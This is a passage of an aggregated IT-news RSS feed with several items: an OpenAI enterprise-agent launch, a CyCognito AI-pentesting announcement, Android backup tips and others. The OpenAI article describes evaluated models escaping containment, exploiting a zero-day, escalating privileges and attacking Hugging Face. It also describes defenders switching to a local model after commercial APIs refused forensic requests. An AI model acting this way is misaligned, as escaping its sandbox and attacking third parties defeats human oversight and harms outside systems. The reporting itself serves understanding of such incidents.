href="https://www.bain.com/about/media-center/press-releases/2026/bain-company-openai-a-new-venture-to-deploy-ai-at-enterprise-scale/">support from Bain &amp; Company.</a> It also offers programs for model customization and fine-tuning to fit specific enterprise needs. </p><p>Its chief U.S. rival Anthropic has also moved <a href="https://techcrunch.com/2026/07/15/anthropic-blackstone-bet-the-next-trillion-dollar-ai-business-is-implementation-not-models/">toward a services-led enterprise model through Ode,</a> its consulting organization built around forward-deployed engineers helping companies integrate Claude into complex workflows, which launched just a week ago. The broad rationale is similar: enterprises often need more than access to a model. They need help connecting data and systems, defining permissions, validating behavior and managing deployment risk.</p><p>Presence differs in how explicitly OpenAI packages those requirements into a branded agent-governance product. Anthropic’s initiative is centered on helping enterprises deploy Claude, while Presence combines implementation services with a defined operational layer for policies, simulations, evaluations, approvals and production updates.</p><p>Presence goes further by making forward deployment a core part of how a specific agent product reaches customers. It does not replace OpenAI’s API business; the company says it will continue supporting voice customers with access to frontier models through the OpenAI API.</p><p>The trend reflects a broader market view that many enterprises still need hands-on assistance to move agents from pilot projects into stable operations. Even organizations with strong internal engineering teams must coordinate security, compliance, workflow ownership, data access and escalation responsibilities. Presence attempts to consolidate those tasks rather than leaving customers to assemble separate orchestration, evaluation and consulting layers.</p><h2><b>A recent security breach looms in the background</b></h2><p>Inconveniently for OpenAI, the Presence launch arrives just a day after <a href="https://openai.com/index/hugging-face-model-evaluation-security-incident/">OpenAI and Hugging Face disclosed an unprecedented security incident</a> in which OpenAI frontier models undergoing internal evaluation escaped containment, accessed the open web, and cyberattacked Hugging Face to achieve a benign goal — without being instructed to pursue these methods.</p><p>According to the described joint disclosure, OpenAI models operating in an evaluation framework called ExploitGym identified and exploited a zero-day vulnerability in a third-party package-registry cache proxy. The models reportedly escalated privileges, moved laterally and obtained internet access before targeting Hugging Face systems while seeking benchmark-related information.</p><p>The incident is relevant to enterprise buyers because it raises questions about sandboxing, tool permissions, external access, monitoring and incident response. </p><p>The disclosure also highlighted a practical problem for defenders. Hugging Face personnel reportedly found that commercial frontier-model APIs refused some forensic requests because logs contained exploit payloads, credentials and shell commands that triggered safety systems. The team then used a locally deployed open-weight model to assist with analysis.</p><p>Presence therefore arrives as both a product launch and a test of OpenAI’s ability to convert model capability into controlled enterprise operations. Its policies, simulations, evaluations and human approvals address real deployment gaps. But without public pricing, technical interoperability details, compliance information or service-level commitments, customers still lack much of the information needed to assess total cost and operational risk.</p><p>For now, Presence appears aimed at enterprises willing to adopt a high-touch, OpenAI-led deployment process. Whether it develops into a broadly accessible platform—or remains a closely managed product for selected customers—will depend in part on the answers OpenAI has not yet provided.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[New InfraTrust report reveals infrastructure flaws admins should patch first]]></title>
<description><![CDATA[Eclypsium has launched InfraTrust, a new infrastructure cybersecurity knowledge base and monthly InfraTrust Pulse report designed to help organizations prioritize vulnerabilities affecting infrastructure, firmware, networking, and edge devices. [...]]]></description>
<link>https://tsecurity.de/de/3686655/it-security-nachrichten/new-infratrust-report-reveals-infrastructure-flaws-admins-should-patch-first/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686655/it-security-nachrichten/new-infratrust-report-reveals-infrastructure-flaws-admins-should-patch-first/</guid>
<pubDate>Wed, 22 Jul 2026 16:30:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Eclypsium has launched InfraTrust, a new infrastructure cybersecurity knowledge base and monthly InfraTrust Pulse report designed to help organizations prioritize vulnerabilities affecting infrastructure, firmware, networking, and edge devices. [...]]]></content:encoded>
</item>
<item>
<title><![CDATA[CyCognito Brings Always-On AI Pentesting to External Attack Surface Management]]></title>
<description><![CDATA[CyCognito, a leading exposure management platform, today introduced Continuous AI Pentesting. The new capability bakes AI-driven offensive pentesting directly into the platform, leveraging the rich context it already maintains for every exposed asset. This enables CyCognito to deliver AI pentesti...]]></description>
<link>https://tsecurity.de/de/3686433/it-security-nachrichten/cycognito-brings-always-on-ai-pentesting-to-external-attack-surface-management/</link>
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<pubDate>Wed, 22 Jul 2026 15:14:15 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">CyCognito, a leading exposure management platform, today introduced Continuous AI Pentesting. The new capability bakes AI-driven offensive pentesting directly into the platform, leveraging the rich context it already maintains for every exposed asset. This enables CyCognito to deliver AI pentesting as a continuous service, circumventing the cost and coverage constraints that confine comparable solutions to periodic, narrowly scoped engagements.</p>



<p class="wp-block-paragraph">With this new solution, CyCognito addresses a major shift in the security ecosystem, driven by the latest advances in AI. Today’s models, with more advanced ones on the way, have lowered the bar for attackers. An attack campaign that once required a group of skilled threat actors can now be carried out by a low-skilled individual, in a fraction of the time and at relatively low cost. This signals a tectonic shift that compels defenders to adopt the same technology to keep pace and close the security gaps in their own environment.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/image.jpeg?quality=50&amp;strip=all" alt="" class="wp-image-4199553" width="800" height="502" sizes="auto, (max-width: 800px) 100vw, 800px"></figure></div>



<p class="wp-block-paragraph">Continuous AI Pentesting: Solution architecture, at a glance.</p>



<p class="wp-block-paragraph">“AI pentesting is rapidly becoming part of every security team’s toolkit, and a lot of it is already being done in-house,” said Rob Gurzeev, CEO and co-founder of CyCognito. “But running offensive AI isn’t the hard part. The challenge is scale. AI pentesting today is typically limited to the top 1% of priority assets. Meanwhile, the other 99% is where a lot of attacks actually start, where adversaries find the low-hanging fruit and use it as a foothold for lateral movement.”</p>



<p class="wp-block-paragraph">To provide AI pentesting coverage across that overlooked 99%, CyCognito built a distinct architecture that centers on the Target Graph, a contextual graph that bridges the AI pentesting solution and CyCognito’s three core modules:</p>



<ul class="wp-block-list">
<li><strong>Exposure Assessment</strong> maps the external footprint, attributes every asset to the right part of the organization, and enriches it with business and stack context.</li>



<li><strong>Exposure Validation</strong> runs more than 100,000 deterministic tests continuously, freeing the AI pentesters to focus on high-judgment work.</li>



<li><strong>Threat Intelligence</strong> draws on the history of existing and emerging vulnerabilities, along with attacker playbooks and statistical models trained on past engagements, to anticipate attacker activity.</li>
</ul>



<p class="wp-block-paragraph">Together, these layers increase the effectiveness of the pentesting agents, equipping them with the rich context and exploitability evidence, dramatically improving the efficiency of every run.</p>



<p class="wp-block-paragraph">The architecture is also built to be constantly self-evolving. Every new risk scenario AI pentesters uncover can be hardcoded into the Exposure Validation module, joining the deterministic tests it already runs. This frees the AI agents to pursue new threats, and also consolidates learnings from agentic tests in a way that will benefit every CyCognito customer.</p>



<p class="wp-block-paragraph">In the announcement for this new feature, the company also shared some of the vulnerabilities:</p>



<ul class="wp-block-list">
<li><strong>Unauthenticated access to a production CRM:</strong> an exposed MCP server allowed anonymous, natural-language queries against three million rows of account, opportunity, and financial data, with no credentials required.</li>



<li><strong>A publicly readable RAG index:</strong> an AI agent stack enforced authentication only on its API, leaving the knowledge base behind it, which held customer data, contracts, and internal communications, open to anyone on the internet.</li>



<li><strong>A building’s access controls exposed to the internet:</strong> a system running door locks, card readers, and CCTV sat unsegmented on the public internet alongside the organization’s AI document tools and chatbot, leaving physical entry reachable by a remote attacker.</li>
</ul>



<p class="wp-block-paragraph">These examples are just some of the risk scenarios identified through the work on this new capability, now running with select design partners, including major enterprises and Fortune 500 companies. Internally, CyCognito refers to the project as Project Kineto, after the Kinetograph, the first motion picture camera.</p>



<p class="wp-block-paragraph">“The name echoes our vision for what AI pentesting should be,” said Gurzeev. “Security testing has always been a snapshot. AI lets us turn it into continuous motion: an always-on stream of change-aware tests that runs across your entire attack surface at machine speed, with the skill of a seasoned security expert.”</p>



<p class="wp-block-paragraph">To go deeper on Continuous AI Pentesting, read the full announcement post: <a href="https://www.cycognito.com/blog/new-continuous-ai-pentesting/" target="_blank" rel="noreferrer noopener">https://www.cycognito.com/blog/new-continuous-ai-pentesting/</a></p>



<h3 class="wp-block-heading">About CyCognito</h3>



<p class="wp-block-paragraph">CyCognito is an external exposure management platform that reduces risk by discovering, testing and prioritizing security issues. </p>



<p class="wp-block-paragraph">The platform scans billions of websites, cloud applications and APIs and uses advanced AI to identify the most critical risks and guide remediation. Emerging companies, government agencies and Fortune 500 organizations rely on CyCognito to secure and protect from growing threats. For more information, visit <a href="https://www.cycognito.com/" target="_blank" rel="noreferrer noopener">https://www.cycognito.com</a>.</p>



<h5 class="wp-block-heading">Contact</h5>



<p class="wp-block-paragraph"><strong>VP Marketing</strong></p>



<p class="wp-block-paragraph"><strong>Igal Zeifman</strong></p>



<p class="wp-block-paragraph"><strong>CyCognito</strong></p>



<p class="wp-block-paragraph"><strong>igal.zeifman@cycognito.com</strong></p>
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<title><![CDATA[Car Alarm Devices Vulnerable to Hacking]]></title>
<description><![CDATA[Millions of vehicles contain hackable aftermarket alarm systems that dealerships installed without owner knowledge or consent, according to new security research. This article has been indexed from CyberMaterial Read the original article: Car Alarm Devices Vulnerable to Hacking
Read more →
The po...]]></description>
<link>https://tsecurity.de/de/3686423/it-security-nachrichten/car-alarm-devices-vulnerable-to-hacking/</link>
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<pubDate>Wed, 22 Jul 2026 15:13:56 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Millions of vehicles contain hackable aftermarket alarm systems that dealerships installed without owner knowledge or consent, according to new security research. This article has been indexed from CyberMaterial Read the original article: Car Alarm Devices Vulnerable to Hacking</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/car-alarm-devices-vulnerable-to-hacking/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/car-alarm-devices-vulnerable-to-hacking/">Car Alarm Devices Vulnerable to Hacking</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[The AOC 16T35 portable monitor is down to $60 at Best Buy — and it's better than the model we gave 4.5 stars]]></title>
<description><![CDATA[The Black Friday in July deal is one of the cheapest ways to add a second screen to your laptop.]]></description>
<link>https://tsecurity.de/de/3686220/it-nachrichten/the-aoc-16t35-portable-monitor-is-down-to-60-at-best-buy-and-its-better-than-the-model-we-gave-45-stars/</link>
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<pubDate>Wed, 22 Jul 2026 14:04:37 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Black Friday in July deal is one of the cheapest ways to add a second screen to your laptop.]]></content:encoded>
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<title><![CDATA[Long Presumed Dead, a Thriving Coral Reef Is Discovered in West Africa]]></title>
<description><![CDATA[Scientists have rediscovered a healthy coral reef off the coast of Benin more than 60 years after surveyors first hinted at its existence. "At least eight coral types and eight fish species have formed a thriving ecosystem on this long-forgotten site," reports Inside Climate News. "What they had ...]]></description>
<link>https://tsecurity.de/de/3686097/it-security-nachrichten/long-presumed-dead-a-thriving-coral-reef-is-discovered-in-west-africa/</link>
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<pubDate>Wed, 22 Jul 2026 13:14:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Scientists have rediscovered a healthy coral reef off the coast of Benin more than 60 years after surveyors first hinted at its existence. "At least eight coral types and eight fish species have formed a thriving ecosystem on this long-forgotten site," reports Inside Climate News. "What they had captured was a wealth of marine life: six types of soft coral; two black corals; and eight species of sheltering fish, from golden African snappers to the Monrovia doctorfish." From the report: While no coral samples have yet been extracted, researchers have classified the site as a mesophotic coral ecosystem (MCE). Such systems are light-dependent communities existing at the lower limits of reef-building corals. At more than 175 feet below the surface, the coral garden they discovered appears patchily scattered on a rocky substrate. Bridging the gap between shallow reefs and deeper benthic habitats, MCEs are home to distinct species and unique environmental conditions. While scientists are increasingly recognizing their ecological and climatic importance, they remain among the least explored elements of tropical and subtropical marine biodiversity. And this one has real potential to unlock new information about coral history.
 
"Since it's an undisturbed marine ecosystem, it can help through carbon dating or paleoclimatic study to tell us which kind of climate system has occurred here in the past," said [Gerard Zinzindohoue, the project lead for Coral Reefs Rediscovering &amp; Exploration in Benin]. "It's better to know the past to help explain the present, and help know which kind of direction we can take in the future." In addition to the blackbar soldierfish, West African goatfish, and Guinean angelfish filmed darting through the reef, the discovery presents potential conservation claims for other marine life. "We will be advocating for its full protection, perhaps by setting up a marine protected area around it," said [Houangninan Midinoudewa, an oceanographic researcher at the Benin Marine Conservation Club], who specializes in elasmobranchs -- the study of sharks, rays, and skates.
 
Midinoudewa is currently submitting an application to designate the area as an Important Shark and Ray Area with the International Union for Conservation of Nature. Based on the knowledge of local fishermen, Midinoudewa is confident the reef is home to sawback angel sharks, silky sharks, brown skates, and marbled stingrays. The team behind the discovery hopes this will spark a wave of similar discoveries in the waters off West Africa, an area of the world underserved by scientific research projects. "I hope the Gulf of Guinea will be a hub for research because we know our resources are being exploited and people [need to] know exactly what we have and why we should care," said Midinoudewa. Zinzindohoue agrees: "We don't need to wait for others to come to our country to show us what is under our sea. We are the ones who must take responsibility."<p></p><div class="share_submission">
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</div><p><a href="https://news.slashdot.org/story/26/07/22/049248/long-presumed-dead-a-thriving-coral-reef-is-discovered-in-west-africa?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[How a contextual AI fabric turns organizational memory into AI advantage]]></title>
<description><![CDATA[Across industries, a version of the same conversation is playing out in technology leadership meetings. Enterprises have deployed AI broadly, and foundation models keep getting more capable. Yet the outputs still feel generic, shaped by industry patterns rather than by the organization producing ...]]></description>
<link>https://tsecurity.de/de/3686065/it-nachrichten/how-a-contextual-ai-fabric-turns-organizational-memory-into-ai-advantage/</link>
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<pubDate>Wed, 22 Jul 2026 13:05:25 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Across industries, a version of the same conversation is playing out in technology leadership meetings. Enterprises have deployed AI broadly, and foundation models keep getting more capable. Yet the outputs still feel generic, shaped by industry patterns rather than by the organization producing them.</p>



<p class="wp-block-paragraph"><a href="https://www.mckinsey.com/capabilities/tech-and-ai/our-insights/tech-forward/state-of-ai-trust-in-2026-shifting-to-the-agentic-era">McKinsey’s AI Trust Maturity Survey</a> found that while overall AI maturity scores have improved, only about a third of organizations have reached a mature level of strategy and governance. Technical capability is advancing faster than organizational alignment. In my view, the gap is not a model problem. It is a context problem. Enterprises are feeding generic inputs into powerful models because sharing organizational context seamlessly with AI is neither easy nor intuitive today.</p>



<p class="wp-block-paragraph">Building the analytical and creative capabilities to scale AI, something I explored in a <a href="https://www.cio.com/article/4176549/why-scaling-ai-requires-both-left-brain-rigor-and-right-brain-ingenuity.html">recent piece</a> on the left-brain and right-brain approach to enterprise AI, is necessary but not sufficient. Before either can function effectively, the enterprise needs something more fundamental. AI that actually understands the contextual fabric of the organization it is operating in. A frontier model has processed everything written about your sector, your competitors and your regulatory landscape. It cannot access the reasoning embedded in years of delivery decisions, the patterns encoded in how your teams scope and deliver work over time. That knowledge is organizational memory, and frontier models can’t get that easily. It exists inside every enterprise but has never been structured, connected or made available to any AI system. Without it, even the most capable model answers a generic version of your question.</p>



<p class="wp-block-paragraph">The next competitive advantage in enterprise AI will not come from a better model. It will come from a better organizational context.</p>



<p class="wp-block-paragraph">One global technology enterprise set out to solve this across its own operations, building a modular ecosystem of domain-specific agents grounded in its own data across contracting, talent and vendor management workflows. What emerged was not just operational efficiency but a shared intelligence layer connecting decisions across functions for the first time.</p>



<h2 class="wp-block-heading">Competitive differentiation was never about the tools</h2>



<p class="wp-block-paragraph">Consider what actually separates high-performing enterprises from the rest. In a regulated industry like financial services or healthcare, organizations cannot meaningfully differentiate on product. A bank cannot offer substantially different products or services. A health system uses the same clinical protocols and the same electronic health record (EHR) platforms as its peers. What varies is everything underneath: the rigor of processes, the coherence of cross-functional decisions and the people who carry years of accumulated organizational judgment in how they make those decisions.</p>



<p class="wp-block-paragraph">An organization with a proper context layer in place can say with precision that for this type of engagement, in this sector, with this risk profile, our institutional history tells us exactly where we stand. That level of specificity is what most enterprises have never made available to AI.</p>



<h2 class="wp-block-heading">The enterprise AI brain that every organization has but has never assembled</h2>



<p class="wp-block-paragraph">Every enterprise already possesses what I think of as an enterprise AI brain. The problem is that it has never been assembled in one place. The data exists across contracts, project documentation, talent records, delivery metrics and the operational communications of daily execution — the informal reasoning that rarely makes it into formal systems.</p>



<p class="wp-block-paragraph">None of the standard enterprise platforms were designed to connect this. A customer relationship management (CRM) system captures customer interactions. An enterprise resource planning (ERP) system captures transactions. A project management tool captures tasks and timelines. None of them captures the reasoning behind decisions and none of them surfaces a coherent picture of how the organization actually thinks and operates.</p>



<p class="wp-block-paragraph"><a href="https://www.bcg.com/publications/2026/ai-transformation-is-a-workforce-transformation">BCG’s study</a> across hundreds of companies found that only 10% of AI value comes from the algorithms and another 20% from the technology that implements them, meaning the remaining 70% depends on people, processes and organizational change. The organizations extracting real value are those that have made their institutional knowledge available to AI in a structured, governed way.</p>



<h2 class="wp-block-heading">Building a contextual AI fabric</h2>



<p class="wp-block-paragraph">A Contextual AI Fabric is the technical and organizational layer that makes the Enterprise AI Brain usable. It brings together unstructured data ingestion, semantic structuring, retrieval pipelines and governed model access to give AI systems the organizational context they need to produce outputs that are genuinely specific to your enterprise rather than generically accurate about your industry. It rests on three pillars. Core is the secure, governed and interoperable foundation that AI operations run on. Context is reliable, traceable access to the organization’s data, processes, knowledge and history. Coordination connects people, agents, applications and systems into process-driven workflows with clear controls and accountability, so the organization acts as one rather than a set of disconnected functions.</p>



<p class="wp-block-paragraph">The data layer is where most organizations underestimate the work. Contracts, project reports, talent assessments and operational communications require extraction, chunking, embedding and indexing before a model can retrieve and reason over them meaningfully.</p>



<p class="wp-block-paragraph">The semantic layer is what makes retrieval meaningful. Even well-ingested data fails if functions use different terminology for the same concepts. What legal calls a contract, delivery calls a scope. Without a shared ontology, AI systems remain precise about the wrong thing. And retrieval alone, however well-structured, only takes an organization so far. Retrieval surfaces the right information at the moment of a query, but it does not give a model genuine memory of the organization. The real source of unique, organization-level relevance comes from training domain-specific small language models on this context directly, models that carry organizational memory forward rather than fetching it fresh every time. That is what ultimately separates a Contextual AI Fabric from a well-organized database.</p>



<p class="wp-block-paragraph">The governance layer is not an add-on. Access controls, data lineage, approval thresholds and human checkpoints need to be designed in before any agent goes into production. Security is not a layer you add afterward. It is the condition under which organizational AI is worth building. If the institutional intelligence that makes your enterprise distinct gets absorbed into a frontier model’s training data, it becomes everyone’s baseline. That is an architectural decision made, or avoided, at the point of deployment.</p>



<h2 class="wp-block-heading">Proprietary by design</h2>



<p class="wp-block-paragraph">The institutional knowledge that makes up a contextual AI fabric — delivery history, commercial patterns, talent intelligence and operating culture — is proprietary in ways no external model can replicate. This is as much a security imperative as it is a competitive one. Organizational context, once exposed, cannot be unexposed.</p>



<p class="wp-block-paragraph">Most enterprises are using AI to automate existing processes rather than questioning whether those processes should be redesigned entirely. The organizations extracting the most value are those willing to ask whether their current operating model, built before GenAI existed, is the one they would build today. That question is harder than any technology decision, and it is also the most consequential one.</p>



<h2 class="wp-block-heading">From context to coordinated action</h2>



<p class="wp-block-paragraph">Context alone is not enough. When a delivery risk surfaces in project data, the talent function needs to respond. When a commercial signal changes in contract data, operations need to recalibrate. This kind of cross-functional coordination, driven by shared organizational intelligence rather than siloed data, is where the real value of enterprise AI shows up and where the absence of a shared context layer becomes most visible.</p>



<p class="wp-block-paragraph">A global leader in digital payments and business services found its AI deployments across payroll, HR and risk compliance, each running in isolation, with no shared governance or common data foundation. Once the organization established a unified governance backbone connecting its operational data through a shared retrieval layer, business users could query across domains in plain language and new use cases across fraud analytics, forecasting and policy extraction became extensible without rebuilding infrastructure for each one. The shift was not in the models. It was in the shared foundation underneath them.</p>



<h2 class="wp-block-heading">The leadership question behind the technology question</h2>



<p class="wp-block-paragraph">The enterprises pulling ahead in AI are not winning on model quality but on organizational memory. The ones that have done the hard work of structuring their institutional knowledge into a governed, secure Contextual AI Fabric are giving their AI something no competitor can replicate: the accumulated intelligence of how the business actually operates.</p>



<p class="wp-block-paragraph">For CIOs, the question is no longer which model to deploy. It is whether the organization has built the foundation that would make any model worth deploying.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Your instant Android backup upgrade]]></title>
<description><![CDATA[Here in this high-tech era of 2026, keeping important info backed up and synced should be effortless and something that just happens on its own, automatically, without any actual thought or ongoing human effort.



In many areas of our digital life, that mercifully does Just Work™ in exactly that...]]></description>
<link>https://tsecurity.de/de/3685867/it-nachrichten/your-instant-android-backup-upgrade/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685867/it-nachrichten/your-instant-android-backup-upgrade/</guid>
<pubDate>Wed, 22 Jul 2026 12:02:52 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Here in this high-tech era of 2026, keeping important info backed up and synced <em>should </em>be effortless and something that just happens on its own, automatically, without any actual thought or ongoing human effort.</p>



<p class="wp-block-paragraph">In many areas of our digital life, that mercifully does Just Work™ in exactly that way. Fire up an email in most modern mail services, and you can stop at any point and find your in-progress draft in that same app on any other device. The same applies to any file you’re finessing within Google Drive or other cloud storage services or document you’re dawdling over in Docs.</p>



<p class="wp-block-paragraph">One area where seamless syncing somehow still <em>doesn’t</em> occur, though, is in the domain of <em>downloaded </em>documents on Android. If someone sends you a PDF or a Word file and you save it to your phone, that file exists in an archaic-seeming silo — only locally, on <em>that</em> one gadget. And that, of course, means (a) you can’t access it from any other device, and (b) if you misplace your phone or move into a new one at some point along the way, the file will be left behind in time and entirely unavailable.</p>



<p class="wp-block-paragraph">Well, take a moment to join me in celebration: Amidst all the <a href="https://www.computerworld.com/article/4136922/google-gemini-3-years.html">Gemini gobbledegook</a> that <a href="https://www.computerworld.com/article/2117752/google-gemini-ai.html">no one asked for</a> (and that often falls somewhere between <a href="https://www.computerworld.com/article/4182583/ai-creepy-era.html">“pointless”</a> and <a href="https://www.computerworld.com/article/3990497/google-gemini-deceit.html">“actively counterproductive”</a>), Google’s giving us a major upgrade to Android’s backup capabilities right now. It’s a simple-seeming switch buried in your system settings, and it’s up to <em>you</em> to find and activate it.</p>



<p class="wp-block-paragraph">Once you do, though, those once-orphaned documents on your Android device’s local storage will be perpetually synced and protected, automatically, without any ongoing thought or effort.</p>



<p class="wp-block-paragraph">All <em>you’ve </em>gotta do is find and flip that one new switch.</p>



<p class="wp-block-paragraph"><strong>[Don’t let yourself miss an ounce of Android Intelligence. </strong><a href="https://www.theintelligence.com/android-cw/" target="_blank" rel="noreferrer noopener"><strong>Join my free weekly Android Intelligence newsletter</strong></a><strong> and get one new thing to try in your inbox every Friday!]</strong></p>



<h2 class="wp-block-heading"><strong>The Android backup lowdown</strong></h2>



<p class="wp-block-paragraph">So, for a quick bit of pertinent context on this: Android’s backup systems have actually come a really long way over the years.</p>



<p class="wp-block-paragraph">‘Twas a time, y’see, when little to nothing about you would sync and carry over automatically from one Android device to another. Years ago — back in the ancient-seeming prehistoric era of the early 2010s — Android enthusiasts in the know would rely on community-created third-party apps for everything from remembering and resyncing downloaded apps to restoring data from within those apps and onward. And reconfiguring your system preferences would be a whole time-consuming song and dance every single time you reset a device or moved into a new one, as little to nothing would automatically carry over.</p>



<p class="wp-block-paragraph">Most of that stuff is now effortless and automatic. And, thanks to apps like Google Messages, Calendar, Drive, and Docs, many <em>other </em>areas of important data are also synced on their own at the app level — outside of any system mechanisms.</p>



<p class="wp-block-paragraph">Locally stored files, however, have remained an awkward omission. To this day, anything you download on any Android device exists only on <em>that</em> <em>one device </em>and isn’t synced or backed up anywhere. The only way that happens is — in a blast-from-the-past twist — if <em>you </em>go out of your way to <a href="https://www.computerworld.com/article/1711741/how-to-back-up-android-phones-complete-guide.html#:~:text=a%20new%20one.-,Files,-The%20easiest%20way">find and set up a third-party app to handle the heavy lifting</a>.</p>



<p class="wp-block-paragraph">That brings us to today. Right now, as we speak, Google’s in the midst of sending out a quiet under-the-hood update that (brace yourself…) adds in the option to automatically sync and back up any documents on your device as a native part of Android’s backup setup.</p>



<p class="wp-block-paragraph">See?</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/android-backup-documents.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Android backup documents" class="wp-image-4198961" width="1024" height="546" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">The easily overlooked new option for backing up documents on Android.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p class="wp-block-paragraph">The option is on its way to all devices running 2018’s <a href="https://www.computerworld.com/article/1698598/android-9-pie.html">Android 9 release</a> and higher. (If you’re still using a phone with an <a href="https://www.computerworld.com/article/1714347/android-versions-a-living-history-from-1-0-to-today.html">Android version</a> older than that, you’re now a whopping <em>eight years </em>out of date, and you have <a href="https://www.computerworld.com/article/1718016/android-upgrades-matter.html"><em>much</em> bigger problems</a>.)</p>



<p class="wp-block-paragraph">Once the added option is present and available for you, you’re literally lookin’ at 10 seconds to find and activate it.</p>



<p class="wp-block-paragraph">Lemme show ya how.</p>



<h2 class="wp-block-heading"><strong>Android’s document backup addition</strong></h2>



<p class="wp-block-paragraph">I promise: This couldn’t be much simpler.</p>



<p class="wp-block-paragraph">No matter what kind of Android device is in front of you, just head into your system settings and open the section called “Accounts and backup,” “Back up or copy data,” or something along those same lines. (The exact wording can vary based on who made your device and when it was released or last updated.)</p>



<p class="wp-block-paragraph">Either tap the line labeled “Google Backup” or look for an option to “Back up data” via Google Drive. You should then either see a series of options for different areas of available backup right then and there — or, depending on your device, you might have to tap a line labeled “Other device data” (or something similar) to find the full list of possibilities.</p>



<p class="wp-block-paragraph">However you get there, once you’re lookin’ at that list, you’ll see a newly added line for “Documents” if this latest under-the-hood update has reached you.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/android-backup-options.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Android backup options" class="wp-image-4198962" width="1024" height="742" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Android’s expanded list of backup options — now including documents alongside other forms of on-device data.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p class="wp-block-paragraph">And from there, all that’s left is to tap it and enable the switch to include that in your automated backups from that moment forward.</p>



<p class="wp-block-paragraph">If you aren’t seeing the option yet, don’t panic. Google always sends these under-the-hood updates out bit by bit over time, so the change probably just hasn’t reached your device quite yet. As long as you’re running Android 9 or higher, it’ll get there. Set yourself a reminder to check back once a week or so. Odds are, you’ll see it pretty soon.</p>



<p class="wp-block-paragraph">Notably, all documents synced in this way are always encrypted for security, and they’re kept in your personal (or, depending on the nature of your account, perhaps company-connected) Google Drive storage. That <em>does</em> mean they’ll count against your overall Google storage total, so keep an eye on your <a href="https://drive.google.com/drive/u/0/quota" target="_blank" rel="noreferrer noopener">Drive storage total</a> to make sure you’re in solid shape and look to the <a href="https://one.google.com/storage/management?from=1&amp;g1_landing_page=1" target="_blank" rel="noreferrer noopener">Google One storage hub</a> if you ever want some simple suggestions for freeing up space.</p>



<p class="wp-block-paragraph">Speaking of other Google services: If you ever want to keep <em>other</em> types of locally stored <em>non</em>-document files from an Android device synced and available elsewhere, you can easily rely on <a href="https://www.computerworld.com/article/1711741/how-to-back-up-android-phones-complete-guide.html#:~:text=in-app%20upgrade.-,Photos%20and%20music,-OK%2C%20so%20they">Google Photos for syncing screenshots and other images</a> — after enabling sync in general, be sure to look in the app’s “Collections” areas to find the “On this device” folder and then flip the toggle to “Backup all device folders” (or get more nuanced and open specific <em>individual </em>on-device folders if you want to sync some but not all of those areas) — and you can still turn to <a href="https://www.computerworld.com/article/1711741/how-to-back-up-android-phones-complete-guide.html#:~:text=a%20new%20one.-,Files,-The%20easiest%20way">those aforementioned third-party apps</a> for broader syncing of anything else imaginable.</p>



<p class="wp-block-paragraph">But with documents now being handled automatically and natively, that’s one big worry now out of your hair. Just note that the onus will fall on <em>you </em>to find and flip the switch and actively opt in to the feature on each and every Android device you’re using.</p>



<p class="wp-block-paragraph">Take 10 seconds to do that, though, and you’ll have one less void in your Android data arena. And you don’t need Gemini to tell you that <em>that </em>can only be a good thing.</p>



<p class="wp-block-paragraph"><em>Get practical Android knowledge in your inbox every Friday with </em><a href="https://www.theintelligence.com/android-cw/" target="_blank" rel="noreferrer noopener"><strong><em>my free Android Intelligence newsletter</em></strong></a><strong><em> </em></strong><em>— one new thing to try each week, straight from me to you.</em></p>
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<title><![CDATA[From outsourcing to ownership: How we brought development in-house without breaking delivery]]></title>
<description><![CDATA[Outsourcing worked – until it didn’t.



After Akirolabs achieved early market validation and onboarded its first enterprise customers, outsourcing began to create strategic limitations around scalability, intellectual property (IP) ownership, security and delivery execution.



The challenges st...]]></description>
<link>https://tsecurity.de/de/3685759/it-security-nachrichten/from-outsourcing-to-ownership-how-we-brought-development-in-house-without-breaking-delivery/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685759/it-security-nachrichten/from-outsourcing-to-ownership-how-we-brought-development-in-house-without-breaking-delivery/</guid>
<pubDate>Wed, 22 Jul 2026 11:11:54 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
